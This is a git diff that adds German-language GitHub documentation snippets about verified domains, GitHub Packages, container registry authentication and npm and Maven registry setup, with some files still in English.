+Damit der Badge „Verifiziert“ angezeigt wird, müssen die im Profil der Organisation angezeigten Website- und E-Mail-Informationen mit denen der verifizierten Domäne oder Domänen übereinstimmen. Wenn die im Profil Deiner Organisation angezeigten Website- und E-Mail-Adressen auf unterschiedlichen Domänen gehostet werden, musst Du alle Domänen verifizieren. Wenn die Website und die E-Mail-Adresse Varianten derselben Domäne verwenden, musst du beide Varianten verifizieren. Wenn das Profil beispielsweise die Website `www.example.com` und die E-Mail-Adresse `info@example.com` anzeigt, musst du sowohl `www.example.com` als auch `example.com` verifizieren.
diff --git a/translations/de-DE/data/reusables/organizations/verified-domains.md b/translations/de-DE/data/reusables/organizations/verified-domains.md
new file mode 100644
index 0000000000..ca6ecc74c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/verified-domains.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, click **{% octicon "verified" aria-label="The verified icon" %} Verified and approved domains**.
+{% else %}
+1. In the left sidebar, click **Verified & approved domains**.
+!["Verified & approved domains" tab](/assets/images/help/organizations/verified-domains-button.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/watch-team-options.md b/translations/de-DE/data/reusables/organizations/watch-team-options.md
new file mode 100644
index 0000000000..cb8d8e0b87
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/watch-team-options.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4a0747297369c3643e5a62fcbf49082db5ce3326
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107636"
+---
+1. Auf der linken Seite der Teamseite unter dem Teamnamen,
diff --git a/translations/de-DE/data/reusables/package_registry/about-docker-labels.md b/translations/de-DE/data/reusables/package_registry/about-docker-labels.md
new file mode 100644
index 0000000000..9fd704b9ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/about-docker-labels.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16f648668d77bbb0748e181767b51d1130b6a9d4
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109313"
+---
+Du kannst deinem Containerimage mithilfe von Docker-Bezeichnungen Metadaten hinzufügen, z. B. eine Beschreibung, eine Lizenz und ein Quellrepository.
diff --git a/translations/de-DE/data/reusables/package_registry/about-packaging-and-actions.md b/translations/de-DE/data/reusables/package_registry/about-packaging-and-actions.md
new file mode 100644
index 0000000000..6e3cc2c5ed
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/about-packaging-and-actions.md
@@ -0,0 +1,35 @@
+---
+ms.openlocfilehash: 9e47cc05dec3bbdef729dfc6a06eff8056dd9502
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107635"
+---
+### Paket-Erstellung in Workflows zur kontinuierlichen Integration
+
+Die Paket-Erstellung ist ein üblicher Bestandteil des Workflows bei der kontinuierlichen Integration oder bei der kontinuierlichen Auslieferung. Das Erstellen eines Pakets am Ende eines Workflows zur kontinuierlichen Integration kann während des Code-Reviews bei einem Pull-Request hilfreich sein.
+
+Nach dem Erstellen und Testen Deines Codes kann ein Paketierungsschritt ein lauf- oder bereitstellungsfähiges Artefakt erzeugen. Je nach Art der Anwendung, die Du erstellst, kann dieses Paket für manuelle Tests lokal heruntergeladen, Benutzern zum Herunterladen zur Verfügung gestellt oder in einer Staging- oder Produktionsumgebung bereitgestellt werden.
+
+Beispielsweise kann ein CI-Workflow (Continuous Integration) für ein Java-Projekt `mvn package` ausführen, um eine JAR-Datei zu erzeugen. Oder ein CI-Workflow für eine Node.js-Anwendung kann einen Docker-Container erzeugen.
+
+Wenn Du nun einen Pull-Request überprüfst, kannst Du Dir den Ablauf des Workflows ansehen und das erzeugte Artefakt herunterladen.
+
+![Dropdown-Menü zum Herunterladen von Artefakten](/assets/images/help/repository/artifact-drop-down-updated.png)
+
+Dadurch kannst Du den Code im Pull-Request auf Deinem Rechner ausführen, was beim Debuggen oder Testen des Pull-Requests helfen kann.
+
+### Workflows zum Veröffentlichen von Paketen
+
+Außer Paket-Artefakte zum Testen in einem Workflow zur kontinuierlichen Integration zum Testen hochzuladen, kannst Du auch Workflows erstellen, die Dein Projekt bauen und Pakete in einer Paket-Registry veröffentlichen.
+
+* **Veröffentlichen von Paketen in {% data variables.product.prodname_registry %}**  
+  {% data variables.product.prodname_registry %} kann als Hostingdienst für viele Arten von Paketen dienen. Du kannst Deine Pakete entweder mit allen {% data variables.product.prodname_dotcom %} oder private Pakete nur mit Mitarbeitern oder einer Organisation teilen. Weitere Informationen findest du unter [Einführung in GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages).
+
+  Vielleicht möchtest du bei jedem Push in den Standardbranch Pakete in {% data variables.product.prodname_registry %} veröffentlichen. So können die Entwickler deines Projekts immer problemlos den neuesten Build aus dem Standardbranch ausführen und testen, indem sie ihn aus {% data variables.product.prodname_registry %} installieren.
+
+* **Veröffentlichen von Paketen in einer Paketregistrierung**  
+  Bei vielen Projekten erfolgt die Veröffentlichung in einer Paketregistrierung immer dann, wenn eine neue Version eines Projekts veröffentlicht wird. Beispielsweise kann ein Projekt, das eine JAR-Datei erstellt, neue Versionen in das Zentral-Repository von Maven hochladen. Oder ein .NET-Projekt kann ein NuGet-Paket erzeugen und es in die NuGet-Galerie hochladen.
+
+  Du kannst dies automatisieren, indem Du einen Workflow erstellst, der bei jeder Release-Erstellung Pakete in einer Paket-Registry veröffentlicht. Weitere Informationen findest du unter [Erstellen von Releases](/github/administering-a-repository/creating-releases).
diff --git a/translations/de-DE/data/reusables/package_registry/actions-configuration.md b/translations/de-DE/data/reusables/package_registry/actions-configuration.md
new file mode 100644
index 0000000000..42bbe86e6d
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/actions-configuration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6844e45b5215a0b6e2981531af56f31e2eb95dd3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107631"
+---
+Die Konfigurationsschritte variieren je nach Paketclient. Allgemeine Informationen zum Konfigurieren eines Workflows für {% data variables.product.prodname_actions %} findest du unter [Konfigurieren eines Workflows](/github/automating-your-workflow-with-github-actions/configuring-a-workflow).
diff --git a/translations/de-DE/data/reusables/package_registry/add-npmrc-to-repo-step.md b/translations/de-DE/data/reusables/package_registry/add-npmrc-to-repo-step.md
new file mode 100644
index 0000000000..37e0a6284d
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/add-npmrc-to-repo-step.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9f369d27bc72e0d1411291517a208ae24e4450ec
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107628"
+---
+3. Füge die *NPMRC*-Datei dem Repository hinzu, in dem {% data variables.product.prodname_registry %} dein Projekt finden kann. Weitere Informationen findest du unter [Hinzufügen einer Datei zu einem Repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository).
diff --git a/translations/de-DE/data/reusables/package_registry/admins-can-configure-package-types.md b/translations/de-DE/data/reusables/package_registry/admins-can-configure-package-types.md
new file mode 100644
index 0000000000..bc65e2f47e
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/admins-can-configure-package-types.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 05d7ccf842556884ed9ff1e8b995de4e3e5bb6f7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107624"
+---
+{% ifversion ghes %} {% note %}
+
+**Hinweis**: Dieser Pakettyp ist möglicherweise nicht für Ihre Instanz verfügbar, weil Websiteadministratoren die einzelnen unterstützten Pakettypen aktivieren oder deaktivieren können. Weitere Informationen findest du unter [Konfigurieren der Paketunterstützung für dein Unternehmen](/enterprise/admin/packages/configuring-packages-support-for-your-enterprise).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md b/translations/de-DE/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md
new file mode 100644
index 0000000000..68141126ed
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dbf0cae29ccdd5ec9cf6c5fd8c3bc80e10c2bc60
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107627"
+---
+{% data variables.product.prodname_registry %} unterstützt `SNAPSHOT`-Versionen von Apache Maven. Um das {% data variables.product.prodname_registry %}-Repository zum Herunterladen von `SNAPSHOT`-Artefakten zu verwenden, aktiviere SNAPSHOTS im POM des nutzenden Projekts oder in deiner *~/.m2/settings.xml*-Datei.
diff --git a/translations/de-DE/data/reusables/package_registry/authenticate-packages-github-token.md b/translations/de-DE/data/reusables/package_registry/authenticate-packages-github-token.md
new file mode 100644
index 0000000000..651122253f
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/authenticate-packages-github-token.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ffedc85661e0be9467f5efb9e3dea07c7adf01b7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107632"
+---
+Weitere Informationen zum `GITHUB_TOKEN`, das in {% data variables.product.prodname_actions %}-Workflows verwendet wird, findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow).
diff --git a/translations/de-DE/data/reusables/package_registry/authenticate-packages.md b/translations/de-DE/data/reusables/package_registry/authenticate-packages.md
new file mode 100644
index 0000000000..bc3e424d23
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/authenticate-packages.md
@@ -0,0 +1,9 @@
+{% data reusables.package_registry.packages-classic-pat-only %}
+
+You need an access token to publish, install, and delete private, internal, and public packages.
+
+You can use a {% data variables.product.pat_v1 %} to authenticate to {% data variables.product.prodname_registry %} or the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. When you create a {% data variables.product.pat_v1 %}, you can assign the token different scopes depending on your needs. For more information about packages-related scopes for a {% data variables.product.pat_v1 %}, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+
+To authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, you can use:
+- `GITHUB_TOKEN` to publish packages associated with the workflow repository.
+- a {% data variables.product.pat_v1 %} with at least `packages:read` scope to install packages associated with other private repositories (which `GITHUB_TOKEN` can't access).
diff --git a/translations/de-DE/data/reusables/package_registry/authenticate-step.md b/translations/de-DE/data/reusables/package_registry/authenticate-step.md
new file mode 100644
index 0000000000..c908465c80
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/authenticate-step.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1f643f1c8a41da3131af13bbe99550ba86800db7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107603"
+---
+1. Authentifizieren bei {% data variables.product.prodname_registry %}. Weitere Informationen findest Du unter [Authentifizieren bei {% data variables.product.prodname_registry %}](#authenticating-to-github-packages).
diff --git a/translations/de-DE/data/reusables/package_registry/authenticate-to-container-registry-steps.md b/translations/de-DE/data/reusables/package_registry/authenticate-to-container-registry-steps.md
new file mode 100644
index 0000000000..cc61c65d06
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/authenticate-to-container-registry-steps.md
@@ -0,0 +1,26 @@
+{% data reusables.package_registry.packages-classic-pat-only %}
+
+1. Create a new {% data variables.product.pat_v1 %} with the appropriate scopes for the tasks you want to accomplish. If your organization requires SSO, you must enable SSO for your new token.
+  {% warning %}
+
+  **Note:** By default, when you select the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface, the `repo` scope will also be selected. The `repo` scope offers unnecessary and broad access, which we recommend you avoid using for {% data variables.product.prodname_actions %} workflows in particular. For more information, see "[Security hardening for GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)." As a workaround, you can select just the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface with this url: `https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/settings/tokens/new?scopes=write:packages`. 
+
+  {% endwarning %}
+
+    - Select the `read:packages` scope to download container images and read their metadata.
+    - Select the `write:packages` scope to download and upload container images and read and write their metadata.
+    - Select the `delete:packages` scope to delete container images.
+
+  For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
+
+2. Save your {% data variables.product.pat_v1 %}. We recommend saving your token as an environment variable.
+  ```shell
+  $ export CR_PAT=YOUR_TOKEN
+  ```
+3. Using the CLI for your container type, sign in to the {% data variables.product.prodname_container_registry %} service at `{% data reusables.package_registry.container-registry-hostname %}`.
+  {% raw %}
+  ```shell
+  $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin
+  > Login Succeeded
+  ```
+  {% endraw %}
diff --git a/translations/de-DE/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md b/translations/de-DE/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md
new file mode 100644
index 0000000000..325dd09742
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 902af6bdbe3c48fe8b5930bdf1041151f343b60b
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148113865"
+---
+Wenn dein Workflow ein {% data variables.product.pat_generic %} zum Authentifizieren bei einer Registrierung verwendet, solltest du deinen Workflow unbedingt so aktualisieren, dass das `GITHUB_TOKEN` verwendet wird.
+
+{% ifversion fpt or ghec %}Anleitungen zum Aktualisieren deiner Workflows, die sich mit einem {% data variables.product.pat_generic %} bei einer Registrierung authentifizieren, findest du unter [Upgrade eines Workflows mit Registrierungszugriff über ein {% data variables.product.pat_generic %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-a-registry-using-a-personal-access-token).{% endif %}
+
+Weitere Informationen über das `GITHUB_TOKEN` findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow).
+
+Weitere Informationen zu den Best Practices bei der Verwendung einer Registrierung in Actions findest du unter [Sicherheitshärtung für GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access).
diff --git a/translations/de-DE/data/reusables/package_registry/checksum-maven-plugin.md b/translations/de-DE/data/reusables/package_registry/checksum-maven-plugin.md
new file mode 100644
index 0000000000..4328d884be
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/checksum-maven-plugin.md
@@ -0,0 +1,32 @@
+---
+ms.openlocfilehash: 2ca2056a8941ee42d41803dd0e8570c1e2877a89
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876926"
+---
+{%- ifversion ghae %}
+1. Füge im `plugins`-Element der Datei *pom.xml* das Plug-In [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) hinzu, und konfiguriere das Plug-In so, dass mindestens SHA-256-Prüfsummen gesendet werden.
+    ```xml
+    <plugins>
+        <plugin>
+            <groupId>net.nicoulaj.maven.plugins</groupId>
+            <artifactId>checksum-maven-plugin</artifactId>
+            <version>1.9</version>
+            <executions>
+                <execution>
+                <goals>
+                    <goal>artifacts</goal>
+                </goals>
+                </execution>
+            </executions>
+            <configuration>
+            <algorithms>
+                <algorithm>SHA-256</algorithm>
+            </algorithms>
+            </configuration>
+        </plugin>
+    </plugins>
+    ```
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-benefits.md b/translations/de-DE/data/reusables/package_registry/container-registry-benefits.md
new file mode 100644
index 0000000000..0b281abab2
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-benefits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fdc903f5b66d0e676e54ee3412f7ec39d926d77f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410750"
+---
+Die {% data variables.product.prodname_container_registry %} speichert Containerimages innerhalb deiner Organisation oder deines persönlichen Kontos und ermöglicht es dir, ein Image einem Repository zuzuordnen. Du kannst wählen, ob Berechtigungen von einem Repository geerbt oder präzise Berechtigungen unabhängig von einem Repository festgelegt werden sollen. Du kannst auch anonym auf öffentliche Containerimages zugreifen.
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-example-hostname.md b/translations/de-DE/data/reusables/package_registry/container-registry-example-hostname.md
new file mode 100644
index 0000000000..268db21378
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-example-hostname.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b61a9c38e261a31196efca0ccbddf20f34ba8617
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885027"
+---
+containers.github.companyname.com
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-ghes-beta.md b/translations/de-DE/data/reusables/package_registry/container-registry-ghes-beta.md
new file mode 100644
index 0000000000..83ca21a6e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-ghes-beta.md
@@ -0,0 +1,11 @@
+{% ifversion ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_container_registry %} is currently in beta for {% data variables.product.product_name %} and subject to change. 
+
+Both {% data variables.product.prodname_registry %} and subdomain isolation must be enabled to use {% data variables.product.prodname_container_registry %}. For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-ghes-migration-availability.md b/translations/de-DE/data/reusables/package_registry/container-registry-ghes-migration-availability.md
new file mode 100644
index 0000000000..e94bb5f277
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-ghes-migration-availability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4a39732206e0ad91422acfb3977ba7bea7d0b283
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109518"
+---
+{% data variables.product.product_name %} 3.6 unterstützt die Migration für in Organisationen gespeicherte Docker-Images. In einer künftigen Version wird die Migration von Images im Besitz von Benutzern unterstützt werden.
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-hostname.md b/translations/de-DE/data/reusables/package_registry/container-registry-hostname.md
new file mode 100644
index 0000000000..a5c37d2f20
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-hostname.md
@@ -0,0 +1 @@
+{% ifversion fpt or ghec %}ghcr.io{% elsif ghes > 3.4 %}containers.HOSTNAME{% else %}{% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-migration-namespaces.md b/translations/de-DE/data/reusables/package_registry/container-registry-migration-namespaces.md
new file mode 100644
index 0000000000..7e46ef2f58
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-migration-namespaces.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4e7556d36427552953116f56d71403963ed22e3e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410802"
+---
+Alle Skripts oder {% data variables.product.prodname_actions %}-Workflows, die den Namespace für die Docker-Registrierung, {% data variables.product.prodname_docker_registry_namespace %}, verwenden, funktionieren auch nach der Migration zur {% data variables.product.prodname_container_registry %} unter {% data variables.product.prodname_container_registry_namespace %}.
diff --git a/translations/de-DE/data/reusables/package_registry/container-registry-replaces-docker-registry.md b/translations/de-DE/data/reusables/package_registry/container-registry-replaces-docker-registry.md
new file mode 100644
index 0000000000..591a41b446
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/container-registry-replaces-docker-registry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e77f293a0b84b67d66f9e20f21450d2b8be7ae6c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410768"
+---
+Die {% data variables.product.prodname_container_registry %} ersetzt die Docker-Registrierung von {% data variables.product.company_short %}.
diff --git a/translations/de-DE/data/reusables/package_registry/create-npmrc-owner-step.md b/translations/de-DE/data/reusables/package_registry/create-npmrc-owner-step.md
new file mode 100644
index 0000000000..f175ca328b
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/create-npmrc-owner-step.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 4edd3d2abea48d816827ab4eede21805ce06d8e0
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879219"
+---
+2. Erstelle oder bearbeite eine `.npmrc`-Datei in demselben Verzeichnis wie deine `package.json`-Datei, um eine Zeile einzuschließen, die die {% data variables.product.prodname_registry %}-URL und den Kontobesitzer angibt. Ersetze `OWNER` durch den Namen des Benutzer- oder Organisationskontos, das das Repository besitzt, in dem sich dein Projekt befindet.
+
+{% ifversion fpt or ghec %}
+  ```shell
+  @<em>OWNER</em>:registry=https://npm.pkg.github.com
+  ```
+{% else %} Wenn die Unterdomänenisolation aktiviert ist:
+  ```shell
+  @<em>OWNER</em>:registry=https://npm.<em>HOSTNAME</em>
+  ```
+  Wenn die Unterdomänenisolation deaktiviert ist:
+  ```shell
+  @<em>OWNER</em>:registry=https://<em>HOSTNAME</em>/_registry/npm
+  ```
+{% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/default-name.md b/translations/de-DE/data/reusables/package_registry/default-name.md
new file mode 100644
index 0000000000..cf1baaf204
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/default-name.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 56c4fc4f0f8ec78f01bb9b2bffca81835d7dc9ce
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107584"
+---
+Standardmäßig veröffentlicht {% data variables.product.prodname_dotcom %} das Paket in ein vorhandenes Repository mit dem gleichen Namen wie das Paket.
diff --git a/translations/de-DE/data/reusables/package_registry/docker_registry_deprecation_status.md b/translations/de-DE/data/reusables/package_registry/docker_registry_deprecation_status.md
new file mode 100644
index 0000000000..96a8ba85c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/docker_registry_deprecation_status.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 225a7dce2ad1fd3e5ad15c0c7324407e8376916d
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876973"
+---
+{% warning %}
+
+**Hinweis:** Die {% data variables.product.prodname_registry %}-Docker-Registry {% ifversion ghes or ghae %} wird in einer zukünftigen {% data variables.product.product_name %}-Version durch die {% data variables.product.prodname_container_registry %} ersetzt, die eine verbesserte Containerunterstützung bietet.{% elsif fpt %} wird durch die {% data variables.product.prodname_container_registry %} ersetzt, die eine verbesserte Containerunterstützung bietet. {% endif %} {% ifversion fpt or ghec %} Weitere Informationen findest du unter [Migrieren von der Docker-Registrierung zu {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry). {% endif %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/package_registry/enable-enterprise-github-packages.md b/translations/de-DE/data/reusables/package_registry/enable-enterprise-github-packages.md
new file mode 100644
index 0000000000..d025601f8e
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/enable-enterprise-github-packages.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 5b179773e53728707849ee4b7c6aae58c668ea22
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884357"
+---
+{% ifversion ghes %}
+1. Wähle unter „GitHub-Pakete“ die Option **GitHub-Pakete aktivieren** aus.
+  ![Kontrollkästchen zum Aktivieren von GitHub-Paketen über das Menü der Enterprise-Verwaltungskonsole](/assets/images/help/package-registry/enable-github-packages.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/navigate-to-packages.md b/translations/de-DE/data/reusables/package_registry/navigate-to-packages.md
new file mode 100644
index 0000000000..b6976c2cd0
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/navigate-to-packages.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 027141da07a72eed8693daa090f183c39fa05f4c
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887142"
+---
+1. Klicke auf den Namen des Pakets, das Du anzeigen möchtest.
+![Paketname](/assets/images/help/package-registry/package-name.png)
diff --git a/translations/de-DE/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md b/translations/de-DE/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md
new file mode 100644
index 0000000000..7a5938bed8
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md
@@ -0,0 +1,3 @@
+As a next step, you can customize which package ecosystems you would like to make available to end users on {% data variables.location.product_location %}. For more information, see "[Configuring package ecosystem support for your enterprise](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)."
+
+For an overview of getting started with {% data variables.product.prodname_registry %} on {% data variables.product.prodname_dotcom %}, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
diff --git a/translations/de-DE/data/reusables/package_registry/no-graphql-to-delete-packages.md b/translations/de-DE/data/reusables/package_registry/no-graphql-to-delete-packages.md
new file mode 100644
index 0000000000..00df113422
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/no-graphql-to-delete-packages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5f35d3186458109231db91e80343bcb64a2193c1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108362"
+---
+{% ifversion fpt or ghec %} Die {% data variables.product.prodname_registry %} GraphQL-API unterstützt keine Container- oder Docker-Images, die den Paketnamespace `https://ghcr.io/OWNER/PACKAGE-NAME` verwenden, oder npm-Images, die den Paketnamespace `https://npm.pkg.github.com/OWNER/PACKAGE-NAME` verwenden.{% endif %}
diff --git a/translations/de-DE/data/reusables/package_registry/package-page-info.md b/translations/de-DE/data/reusables/package_registry/package-page-info.md
new file mode 100644
index 0000000000..e41cbe220c
--- /dev/null
+++ b/translations/de-DE/data/reusables/package_registry/package-page-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e10918902ed315c902835d3fed6b8cdae2cb83b7
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876993"
+---
